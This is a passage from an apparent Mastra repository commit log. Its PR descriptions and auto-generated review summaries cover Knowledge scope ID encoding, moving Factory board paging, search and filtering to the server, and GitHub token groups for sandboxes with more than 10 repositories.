no longer matches its address.

## Mastra Code and Factory changes

- `knowledge-scope.ts` encodes Factory organization and project IDs
once, as single canonical segments. A host tag of the same type with a
different value is rejected.
- `knowledge-inspector.ts` encodes resource and thread IDs before
calling `readScopeFor`. It no longer uses the local `canonical` helper.
Session tags are unchanged.
- `factory/src/routes/knowledge.ts` encodes organization and project IDs
before building `org:` and `project:` principals.

## Data compatibility

- No stored data is rewritten.
- IDs with a raw colon in the last segment map to new addresses.
Existing rows at old addresses are not reached.
- IDs that contain `/`, `#`, or `%` keep their addresses when encoded.
- Stale rows do not gain access from a new matching declaration. A
prefix grant from the original declaration can still include those rows
in reads, as tested in `legacy-scope-rows.test.ts`.

## Documentation

- Scope declaration docs say each `$param` matches one segment. They
describe compatibility effects for alpha scopes and the new overlap
rule.
- Memory scope docs describe `encodeKnowledgeScopeId` and
`decodeKnowledgeScopeId`. They state that alpha scopes with a raw colon
in the last segment are not migrated.
- `explainAccess` docs describe `runScopes` as canonical addresses.
- A changeset marks a minor `@mastra/core` release. Changesets for
`@mastra/code-sdk` and `@mastra/factory` are patch releases.

## Tests

- New and updated tests cover encoded and raw IDs, segment counts, stale
rows, and Memory identity through `resolveAgentScopes`.
- A new helper, `agentRunContext`, is used by test files.
- The author reports 412 passing core Knowledge, storage, and
agent-scope tests. The author also reports 48 passing server Knowledge
handler tests, and clean typecheck, lint, and format. These results are
not verified here. CI status is not available.

## Scope of change

- Files changed: 24
- Lines added: 549
- Lines removed: 116
- Review severity counts: not available
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-12 14:52:04 -07:00
Daniel Lew
9c8d3377e4
docs: built-in MCP server tools reference, client setup, and access control (#30232)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:37:03 -05:00
Damien Schneider
f75eb1a197
feat(factory-ui): load the board by phase, searched and filtered on the server (#30191)
**─────── TLDR ───────**
> The Factory board now loads the first 50 cards of each column and more
as you scroll, and searches, filters and sorts on the server, instead of
downloading every card of the project.

The board page was the last screen that read the whole project: every
card with its description, on open and again on each change, to draw a
few dozen cards per column. It now asks the two reads of #30177 for what
it shows, keeps each card by id, and downloads a card only when the
version the server names differs from the one it holds. Stacked on
#30177.

### Behavior changed

opening a board
&nbsp;&nbsp;├─ **was** — one read of every card of the project
&nbsp;&nbsp;└─ **now** — one read: each column's count and its first 50
cards

reaching the end of a column
&nbsp;&nbsp;├─ **was** — every card was already in the browser
&nbsp;&nbsp;└─ **now** — the column lists twice as deep; only the cards
not held are downloaded. Ends that come into view together are listed in
one read, and each column waits for its own

a change on the board (feed frame)
&nbsp;&nbsp;├─ **was** — the whole board again, or its `since` delta
&nbsp;&nbsp;└─ **now** — the ids and versions of the listed cards, then
only the cards whose version differs. A version is a hash of the card's
body, so two writes in one millisecond, or a card the server presents
differently with no write, are downloaded too

typing in "Search cards"
&nbsp;&nbsp;├─ **was** — the exact phrase, in the browser, at each key
&nbsp;&nbsp;└─ **now** — on the server, 150 ms after the last key: every
word in any order, a card number or a source id

filters and sort
&nbsp;&nbsp;├─ **was** — in the browser; a candidate's live labels and
people overrode the stored card
&nbsp;&nbsp;└─ **now** — on the server, from the stored card; "worked
on" is its creator, movers and session starters

a linked card (`?item=`) or the card held open
&nbsp;&nbsp;└─ **now** — the server answers its body and the phases
holding it, apart from the listing. The page shows it on top of each of
those phases until scrolling lists it in place, so it stays through a
refresh, a search or another sort, and the cards above it are not
downloaded. The linked card is read from the address at each render, so
leaving the link stops asking for it

a "load more" read that fails
&nbsp;&nbsp;└─ **new** — the board's error notice replaces the page, as
for any failed board read; it offers Retry

the sidebar's session list on a board page
&nbsp;&nbsp;├─ **was** — borrowed the board's whole-project read
&nbsp;&nbsp;└─ **now** — reads the cards holding a session, as on every
other page

candidates in the first column (issues and pull requests without a card)
&nbsp;&nbsp;├─ **was** — shown as soon as their feed answered, minus
those the loaded board already held
&nbsp;&nbsp;└─ **now** — shown once the server says which are already
filed, one read per 50 feed items, for the sources on show only; a
lookup that fails shows the feed's error with Retry

Drag and drop, card details, saved views and the command palette behave
as before.

### Shape changed

| | | |
|---|---|---|
| **+** | `useBoardPhasesQuery(project, request, openCard?)` | the one
read the board page makes |
| **+** | `boardPhasesRequest` · `shownBoardPhases` | the view as the
server is asked for it, and its answer as the page draws it |
| **+** | `e2e/ui/board-reads.ts` | UI suites answer both reads with the
server's own modules, from the cards a test stubs |
| **−** | `useWorkItemsQuery` · `readBoard` · the `since` merge | no
caller reads the whole project |
| **−** | `boardOrder.ts` · `pageLoadsBoard.ts` · `useParkedSessions` |
ordering and parked sessions come with the phases read |

- `mastracode/factory-ui/src/hooks/`
- └─ `useWorkItems.ts` — phases read, cards by id, optimistic patches
over every snapshot
- `mastracode/factory-ui/src/ui/domains/factory/`
  - └─ `boardPhases.ts` · `boardPhasesRequest.ts` — new
- └─ `boardFilters.ts` · `boardPeople.ts` · `boardLabels.ts` ·
`boardSourceFilters.ts` — the server's rules, imported
- └─ `hooks/useBoardItems.ts` · `useBoardView.ts` · `useBoardRuns.ts` ·
`useBoardIntake.ts`
- `mastracode/factory-ui/src/ui/pages/board/`
- └─ `BoardContent.tsx` · `BoardStages.tsx` — windows per phase, linked
card, open card

### Decisions

- **cards by id, compared by version** — a refresh names cards and the
browser fetches what differs, so an unchanged card is never downloaded
twice. A card written here keeps the version it had until the next read,
which downloads it once.
- **"phase" for the read, "column" for the layout** — the request, the
keys and the snapshot follow the server's `phases`. The board still
draws columns, and a list draws groups.
- **the linked card sits on top of its phase** — not at its place in the
order, which would need the cards above it. Scrolling the phase that
deep puts it in place.
- **the open card rides on the reads the page makes anyway** — opening
or closing a card the view lists sends nothing. A view read without it
is read once more for that card, so it stays open through a change of
order; the server still decides which phase holds it.
- **tests run the server's rules** — the UI suites compute phases with
`boardPhases` itself, so a rule changed on the server fails here instead
of drifting.

### Gain

Requests the page sends for the cards of a 250-card column, counted in
the UI suite:

| action | before | now |
|---|---|---|
| open the board | 1, every card | 1, 50 cards and the counts |
| refresh, nothing shown changed | 1, every card or the delta | 1, ids
and versions only |
| refresh, one card changed | 1, every card or the delta | 2: ids and
versions, then that card |
| load more | 0 | 2: ids and versions, then the 50 new cards |
| search a word | 0 | 2: ids and versions, then the matches not held |

A link to the last card of a 2,000-card column, same suite: 51 cards
downloaded in one read, the first 50 and the linked one. The first
version of this PR downloaded all 2,000.

Bytes per read are in #30177: 414 KB gzipped for a first open at 10,000
cards against 11.4 MB for the whole board, and 9 KB for each later read.
Those were measured with time stamps; a version is longer, and 300 names
weigh 7.8 KB gzipped against 3.3 KB.

In Chromium, on a 610-card board with two columns of about 300 (stubbed
server answering with the server's own rules, cards without
descriptions): opening sends 3 reads and 111 KB of card JSON for 112
cards, against 548 KB for the whole board. Scrolling both columns to
their end sends one listing (18 KB) and the 100 new cards (90 KB). Each
refresh after that sends the ids and stamps again (18 KB at that depth)
and no card. These Chromium figures date from before the cards were
named by version and were not measured again.

### Watch

- **deploy order** — the page has no fallback: it needs a server with
the phases read of #30177.
- **a linked card past what its column lists** — it shows first in the
column, out of the sort order, until the column is scrolled down to it.
- **a card held open** — it takes the place of the linked card in the
read, so the linked card can leave a refreshed column until the open one
closes.
- **a card moved under "created" sorts** — it can land below the cards
its new column lists; the count shows it.
- **search results** — a phrase that matched as a whole now matches
cards holding each word anywhere.
- **candidates wait for one more answer** — a feed page appears after
its filed lookup, and the next page is offered only then.
- **`board-virtualization.spec.ts`** — it had no stub for the feed the
page opens, an unhandled request that failed all 23 tests; it stubs it
now. Its draft test types in the description: the details dialog has no
Comment box since #29062.

### Not verified

- [ ] a signed-in browser on a real project — the local API answers 401
here
- [ ] Postgres — the UI suites run the server's rules over stubbed cards
- [ ] the browser's own 304 path — jsdom keeps no HTTP cache
- [ ] `AppStartup.msw.test.tsx` (8 tests, `GET /web/status`) and
`ThreadPageTeammateSession.msw.test.tsx` (1 test) fail the same way on
the base branch. With that one request set aside, the 8 startup tests
pass on the phases read
- [ ] four thread page suites fail some tests in a full run and pass
alone; none reads the board
- [ ] the Playwright specs were not run again after the move to phases,
versions and the new linked card; the two results below are from before
it
- [ ] `board-virtualization.spec.ts` — 20 of 24 pass. The 4 left fail
the same way with the base branch's `src` under this spec: a collapsed
list group still mounts its rows (3 — 75 to 91 cards mounted on the
base, 40 to 56 here, under 40 expected), a jump to the end of a phone
list lands short of it (1)
- [ ] `board-list-row-layout.spec.ts` — 2 of 2 fail and are left as
found: no feed stub, and its titles are hidden by the nested work item's
title since #28961

---

> ████████████████████ **tests** `+1690 −818` — 64% of the additions
> ███████████ **source** `+963 −671`
> █ **changeset** `+7`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The Factory board used to load every project card at once. Now
it loads a small first set of cards for each column and fetches more
only when the user scrolls, so large projects load faster.

## Overview

This change moves board paging, search, filtering, and sorting to the
server. The board reads cards by phase. It fetches card bodies by ID and
version. The change is based on `feat/factory-board-columns`. It changes
67 files, with 2660 lines added and 1489 removed.

## Server-backed board reads

- The board requests phase counts and the first 50 cards for each phase.
- Each phase loads more cards when its own sentinel is reached. Each
phase tracks its own window and pagination.
- Search, filters, and sort are sent in the phase request.
- Card bodies are fetched by ID, up to 100 per request. Cached bodies
are reused when their `version` matches the server.
- `WorkItem.version` replaces `changedAt`.
- `listWorkItems` requires an explicit filter. It no longer supports
cursor reads or returns `removedIds`.
- New request helpers: `boardPhasesRequest`, `deeperPhaseWindow`
(doubles the listed count; minimum 50, maximum 999,999), and `isCardId`.
- New fetch helpers: `fetchBoardPhases` and
`fetchWorkItemFilterOptions`.

## Query and hook changes

- `useWorkItems.ts` replaces the whole-board query with phase-view
queries, a session-card query, filter-option queries, and filed-from
queries.
- Removed: `boardQueryOptions`, `useWorkItemsQuery`, and
`useParkedSessions`.
- Added: `useBoardPhasesQuery`, `useWorkItemFilterOptionsQuery`,
`sessionCardsQueryOptions`, `boardPhasesQueryOptions`,
`workItemFilterOptionsQueryOptions`, and `filedFromQueryOptions`.
- `useSidebarWorkItemsQuery` no longer takes `boardOnPage`.
- Transition mutations restore the item on error. They ignore results
that are not newer than the cached revision.
- Delete mutations remove the item from board and phase caches and
update phase counts.
- `queryKeys` gains entries for phases, phase views, filter options, and
all-source filed-from keys. Source-filtered keys now nest the `sources`
array.
- `useBoardIntake` performs filed-card lookups itself, in batches of up
to 50 candidates. Feeds wait for lookup results. Lookup failures appear
as feed errors that can be retried.
- `useBoardItems` requires `items` from the caller. Its `all`,
`visible`, and refetch fields are removed.
- `useBoardRuns` no longer takes `refetchItems`. It fetches the clicked
card directly.
- `useItemSessionStatuses` takes `parkedSessionIds` as an input.

## Client-side logic removed or moved

- `boardOrder.ts` is deleted. `BOARD_SORTS` and `BoardSort` move to
`boardSort.ts`. `BoardSort` now aliases `BoardPhasesSort`.
- Removed from `boardItems.ts`: `metadataLabels` (moved to
`@mastra/factory/work-items/card-labels`) and `cardMatchesSearch`.
- Removed from `boardPeople.ts`: person-matching helpers and
activity-based participant collection. `boardParticipants` now takes
`people` from the server.
- `boardLabels` now takes `labels` and `candidates`. Its item-matching
helpers are removed.
- `boardSourceFilters.ts` now uses shared source-filter code. Its
matching helpers are removed.
- Removed: `workItemHumanActorIds`, `belongsToBoard`, and
`pageLoadsBoard`.
- Removed from `boardCandidates.ts`: `stageContentCount`. Added:
`candidateMatchesView`, which requires all people, label, source, and
search-word filters to match.
- New `boardPhases.ts` exports `shownBoardPhases`. It derives displayed
cards and totals from a phase snapshot.
- Removed from `BoardContent`: client-side filtering, ordering, and
stage membership logic.

## Routing and prefetch

- `prefetchBoard` builds a phase request from the URL. It skips the
request when a saved-view parameter is present.
- `prefetchSidebar` prefetches session cards.
- New: `retiredReviewBoardSearch` and `prefetchRetiredReviewBoard`.
Retired Review links keep only pull-request sources and redirect to the
Work board.
- If a board with ID `review` still exists, the redirect goes to that
board.

## Types and public exports

- Added to `api/types.ts`: `BoardPhasesResponse`,
`WorkItemFilterOptions`, `BoardPhasesSort`, `BoardPhasesFilter`, and
`BoardPhasesRequest`.
- `BoardStages` takes an `openCard` prop. It no longer creates open-card
state internally.
- `BOARD_SEARCH_QUERY` is now exported from `useBoardView.ts`.

## Search and filter behavior

- Search matches cards that contain all query words, in any order.
Matching is case-insensitive. The summary of changes states that
matching also covers card numbers and source IDs.
- Filter-empty counts use server totals and candidate counts.

## Test changes

- Test helpers and fixtures add `largeCardId`, `mockBoardRowLayout`, and
`boardViewport`.
- The MSW test helper adds `boardReadHandlers` for phase and
filter-option reads. It also adds `isStubbedProjectRead` and
`versionedCard`.
- New tests cover phase reads, pagination, deep links, search, and
refresh behavior.
- Deleted: `boardOrder.test.ts`.
- Several existing tests were changed to use the new hooks and fixtures.

## Verification status

- The author reports that the Factory board loads and pages cards as
described.
- The author reports that drag and drop, card details, saved views, and
the command palette behave as before.
- Not verified by the author: a signed-in browser on a real project,
Postgres, and the browser's 304 cache path.
- Not rerun by the author after the latest changes: the Playwright
specs.
- Author-reported Playwright results:
- `board-virtualization.spec.ts`: 20 of 24 tests pass. The author
reports the four failures also occur on the base branch.
- `board-list-row-layout.spec.ts`: 2 of 2 tests fail. The author
attributes the failures to an unstubbed feed and to titles hidden by a
nested work item.
- Author-reported baseline failures: `AppStartup.msw.test.tsx` and
`ThreadPageTeammateSession.msw.test.tsx`. With the noted request set
excluded, the eight startup tests pass on the phase reads.
- CI results: not available.

## Dependencies and risks

- The page requires the phase reads from `#30177`. The author reports no
fallback exists for servers without it.
- The `.changeset/calm-phases-load.md` entry adds a patch release note
for `mastra`.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 13:33:11 -08:00
Damien Schneider
28e243f638
feat(factory): read a board by phase, searched and filtered on the server (#30177)
**─────── TLDR ───────**
> A Factory board can now be read one page of each phase at a time,
searched and filtered on the server, instead of downloading every card
of the project.

The board page downloads the whole project to draw a few dozen cards per
phase, then searches, filters, orders and counts them in the browser.
These two reads do that work on the server: one names the first cards of
each phase and counts the rest, the other lists what the filter menus
offer. Nothing calls them yet; the board page moves onto them in the
next PR.

### Behavior changed

`GET …/boards/:boardKey/phases`
&nbsp;&nbsp;├─ **new** — per phase, `total` and its first 50 cards as `{
id, version }`
&nbsp;&nbsp;├─ **new** — `q`, `label`, `source` or a people filter keep
the matching cards only
&nbsp;&nbsp;└─ **new** — `cards=true` also sends the body of every named
card, each with its `version`

the same read with `window=<phase>:<count>`
&nbsp;&nbsp;├─ **new** — lists that phase deeper, the others stay at
`limit`
&nbsp;&nbsp;└─ **new** — a window for a phase the board no longer has is
ignored

the same read with `item=<card id>`
&nbsp;&nbsp;├─ **new** — names the card, its position in each phase, and
its body
&nbsp;&nbsp;└─ **new** — no phase is listed deeper for it, however old
the card

the same read sent again with `If-None-Match`
&nbsp;&nbsp;└─ **new** — 304 unless a named card's body, an order or a
total changed

`GET …/work-items/filter-options`
&nbsp;&nbsp;└─ **new** — labels, the people sources name, the Factory
users who acted

The whole-board list, its `since` read, the starters and the agent tools
answer as before, except that `?workItemId=` now sends each card's
`version` too. `since` loses its last reader when the next PR merges,
and a follow-up removes it.

### Shape changed

| | | |
|---|---|---|
| **+** | `boardPhases(list, board, view, userId, version)` | pure, so
the browser's tests can run it as the server |
| **+** | `cardFacts(card)` | what search and filters read, once per
card version |
| **+** | `sendRevalidated` · `sendJson` · `namedBody` | the list
route's ETag and gzip answer, now shared |
| **~** | `workItemNumber` | moved to `work-items/card-number.ts`, 7
importers |
| **~** | `sourceFacts` | merged into `sourceMetadata`: one reading of a
card's source |
| **~** | `searchWords` · `hasEveryWord` | moved out of `routes/`,
importable by the browser |

- `mastracode/factory/src/work-items/`
  - └─ `board-phases.ts` — place, order, filter, count
  - └─ `board-filter-options.ts`
- └─ `card-facts.ts` · `card-people.ts` · `card-source-filters.ts` ·
`card-labels.ts`
- └─ `card-search-text.ts` · `search-words.ts` · `card-number.ts` ·
`list-related-cards.ts` — moved here
- `mastracode/factory/src/routes/`
  - └─ `contracts.ts` — both contracts
  - └─ `work-items.ts` — both handlers

what the next PR builds on
&nbsp;&nbsp;&nbsp;&nbsp;`GET …/boards/:boardKey/phases` · `GET
…/work-items/filter-options` · `mastra api factory board phases` ·
`mastra api factory work-item filter-options`

### Decisions

- **a version per card, not a time cursor** — `version` is a hash of the
body sent, so a reader rereads by id whatever differs; `changedAt`
missed two kinds of change.
- **`q` needs every word** — the rule the agents' search already
follows; the board's phrase match goes with the next PR.
- **filters read the stored card** — `worked` is its creator, movers and
session starters, and a live intake candidate's labels and people are
not seen until the next sync.

The two changes `changedAt` missed: a source sync landing in the same
millisecond as another write, and a Review card shown as a Work card
once the Review board closes, which writes nothing to it. Related cards
are capped too: each named card brings the first `limit` of its related
cards, and `relatedTotal` counts them all.

### Gain

Gzipped bytes, measured in-process on a synthetic board with 3 KB of
description per card:

| read | 2,500 cards | 10,000 cards |
|---|---|---|
| whole board, as today | 2,859,778 | 11,440,412 |
| phases with `cards=true` | 414,278 | 414,070 |
| phases, each later read | 8,930 | 8,921 |
| phases, nothing shown changed | 0 (304) | 0 (304) |
| one changed card by id | 1,736 | 1,767 |

The table predates `version`. A hash compresses worse than a timestamp:
on a second harness, 300 names went from 3.3 KB to 7.8 KB gzipped, so
expect the "each later read" row about 4.5 KB higher. A link to the
oldest Done card of 10,000 used to send 8,250 bodies; it now sends the
first page plus one. A 304 with `cards=true` over 300 cards takes 0.23
ms, because it hashes the names and never serializes the bodies.

After one card changes, the server rebuilds the phase index in 2.3 ms at
2,500 cards and 5.2 ms at 10,000, where serializing and gzipping the
whole board takes 188 ms and 747 ms. A search's first read takes 13 ms
and 23 ms. Unchanged: the server keeps the project's cards in memory
and, after each change, reads what changed and re-sorts the list. That
refresh takes 61 ms and 254 ms in this harness, on in-memory storage;
paging in SQL is a later step.

### Not verified

- [ ] both reads against Postgres on a real project — measured on
in-memory storage only
- [ ] `source=pull-request` for an issue card with a pull request
attached, through the route — only the rule is unit-tested
- [ ] the Gain table with `version` in the names — the first harness was
not rerun
- [ ] why `attention › tracks read and archived failure occurrences
across retries` fails some runs on Postgres — 3 of 6 at the previous
head too, not touched here

---

> ██████████████████ **tests** `+1147` — 45% of the additions
> ███████████████ **source** `+940 −109`
> ███████ **generated** `+418` — CLI route metadata
> █ **changeset** `+21`
> █ **docs** `+2`

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 13:33:10 -08:00
dane-ai-mastra[bot]
57c921b7bc chore: version - enter prerelease mode 2026-11-12 21:28:35 +00:00
mastra-platform[bot]
ca2f493e87
fix(factory): give sandbox GitHub tokens access to every Factory repo, in groups of 10 (#30121)
> Opened by @DSchau

## Problem
The Factory mints each sandbox token for at most 10 repositories. When a
Factory had more than 10 repos, the sandbox `GH_TOKEN` fell back to
covering the session repository only. Raw `git`/`gh` then returned 404
for every other checkout. Secondary checkouts also had no git credential
helper, so a raw `git push` never worked there, even under the limit.

## Change
- The sandbox gets one token per group of 10 environment repositories.
`GH_TOKEN` covers the group that holds the session repo; the other
groups get `GH_TOKEN_2`, `GH_TOKEN_3`, and so on. These names were
already reserved in `contracts.ts`.
- Every group token is installed before setup commands run, so a setup
command in any checkout can fetch.
- Each secondary checkout gets a local credential helper that selects
its group's token: `GH_TOKEN="${GH_TOKEN_N:-$GH_TOKEN}" gh auth
git-credential`. Checkouts in group 1 keep the plain `gh auth
git-credential`. Non-GitHub hosts are unchanged.
- `github_refresh_token` and stale-token refresh re-mint every group.
Group tokens and the coverage note are stored per workspace, so a
refresh from any request installs the tokens it just minted. When an org
PAT is installed, the group variables and the note are dropped and the
helpers fall back to the PAT.
- The environment note lists which variable covers which repos (for
example `GH_TOKEN=$GH_TOKEN_2 gh pr list -R owner/repo`), along with any
repos no token covers. If one group fails to mint, the session still
boots; only a failure in the session repo's group is fatal.
- `groupRepositoryIds` is exported from
`environment/repository-access.ts` so the clone-time grouping and the
sandbox grouping share one helper.

Found on a 12-repo Factory (shipyard), where the docs repos returned 404
from inside the sandbox.

## Test plan
- [x] Workspace test with 12 repos: two group mints, `GH_TOKEN` and
`GH_TOKEN_2` in the env (stale `GH_TOKEN_N` cleared), the correct
`tokenEnvName` for each checkout, the note text, and refresh re-minting
both groups
- [x] Workspace test with 11 repos: `GH_TOKEN_2` is installed before
setup commands run, the note survives setup, a refresh from a later
resolution installs fresh group tokens, and an org PAT drops the group
tokens and the note (fails on the first commit)
- [x] Sandbox tests: grouped helper, plain helper, no helper for
non-GitHub hosts, and rejection of unsafe variable names
- [x] `vitest` on factory environment/session/github/workspace suites:
1416 passed
- [x] `tsc --noEmit` and `oxlint` are clean
- [x] Tested the helper with real `git credential fill`: it returns
`GH_TOKEN_2` when that variable is set and `GH_TOKEN` when it is not

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Sandboxes can now reach more than 10 GitHub repositories. The
sandbox gets one access token for each group of up to 10 repositories.
Git in each checkout uses the token for its own repository.

## Overview

This change extends GitHub token coverage for Factory sandboxes. Before
this change, only the session repository had a token (`GH_TOKEN`).
Repositories are now grouped in sets of up to 10. Each group has its own
installation token.

Diff size: 6 files changed, 339 lines added, 58 lines removed. The
`mastracode/factory` paths account for 5 files, 334 insertions, and 58
deletions. The changeset file
(`.changeset/sandbox-github-token-groups.md`, 5 insertions) is outside
that path.

## Token groups

- `groupRepositoryIds` is exported from
`mastracode/factory/src/environment/repository-access.ts`. It removes
duplicate repository IDs, keeps their order, and splits them into groups
of at most 10.
- `groupedRepositoryAccess` uses this helper. Its grouping behavior does
not change.
- `mastracode/factory/src/workspace.ts` mints one token per group. The
session repository's group uses `GH_TOKEN`. Later groups use
`GH_TOKEN_2`, `GH_TOKEN_3`, and so on.
- For a multi-repository group, minting first calls
`getRepositoriesAccess`. If that call fails or returns no token, the
code falls back to a token for the group's first repository.

## Failure handling

- Failure to mint the session repository's group token fails resolution.
- Failure in a secondary group does not fail resolution. Repositories
that no token covers are reported in the environment note and in
warnings.

## Credential helpers

- `mastracode/factory/src/integrations/github/sandbox.ts` adds
`githubCredentialHelper(tokenEnvName?: string)`.
- For `GH_TOKEN` (the default), the helper returns the existing `gh auth
git-credential` helper.
- For a name that matches `GH_TOKEN_<digits>`, the helper prefers that
variable and falls back to `GH_TOKEN`.
- Any other name is rejected.
- `SyncEnvironmentRepositoryOptions` accepts an optional `tokenEnvName`.
- `syncEnvironmentRepository` sets `credential.helper` for GitHub
checkouts only when `authUsername` is unset. Non-GitHub hosts receive no
credential helper. If the `git config` call fails, the sync reports
`pull-failed`.
- Group 1 keeps the standard helper.

## Token refresh and PAT installation

- Refresh re-mints the token for every group. This includes
`github_refresh_token` and stale-token refresh.
- When an organization PAT is installed, the code removes the
`GH_TOKEN_<digits>` variables. Helpers then fall back to the PAT.
- Group-token state is cleared when a workspace is evicted or retired.

## Environment notes and warnings

- When group tokens are installed, the environment note states which
token covers each repository.
- The note lists repositories that no token covers. It directs users to
the `source_control_*` tools for those repositories.
- The fallback warning reports only the uncovered repositories, not the
full repository list.
- When an organization PAT replaces the group tokens, the group-token
note is removed.

## Other changes

- The raw change summary states that lifecycle-command failure details
are now passed to `maskSandboxEnvValues`, and that per-call `env` values
override duplicate mask entries. This was not verified against the
implementation.
- The changeset describes a patch release for `@mastra/factory`. It was
not verified against the changeset file.

## Tests and checks

The author reports these results. This review did not run them.

- A new 12-repository workspace test expects token requests in groups of
10 and 2. It checks installation as `GH_TOKEN` and `GH_TOKEN_2`,
checkout-to-token mapping, the coverage note, and refresh of both
groups.
- A new 11-repository workspace test checks that group tokens are
installed before setup. It checks that they stay current after workspace
reuse. It checks that an organization PAT replaces them and clears the
note.
- New sandbox tests cover credential-helper selection for the default
helper, numbered helpers, and non-GitHub hosts. A test covers rejection
of unsafe token variable names.
- The author reports 1,415 passing tests across the factory environment,
session, GitHub, and workspace suites.
- The author reports clean `tsc --noEmit` and `oxlint` runs.
- The author reports a manual `git credential fill` check.
- CI status on the current head: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 14:23:27 -07:00
3278 changed files with 154174 additions and 51029 deletions

Some files were not shown because too many files have changed in this diff Show more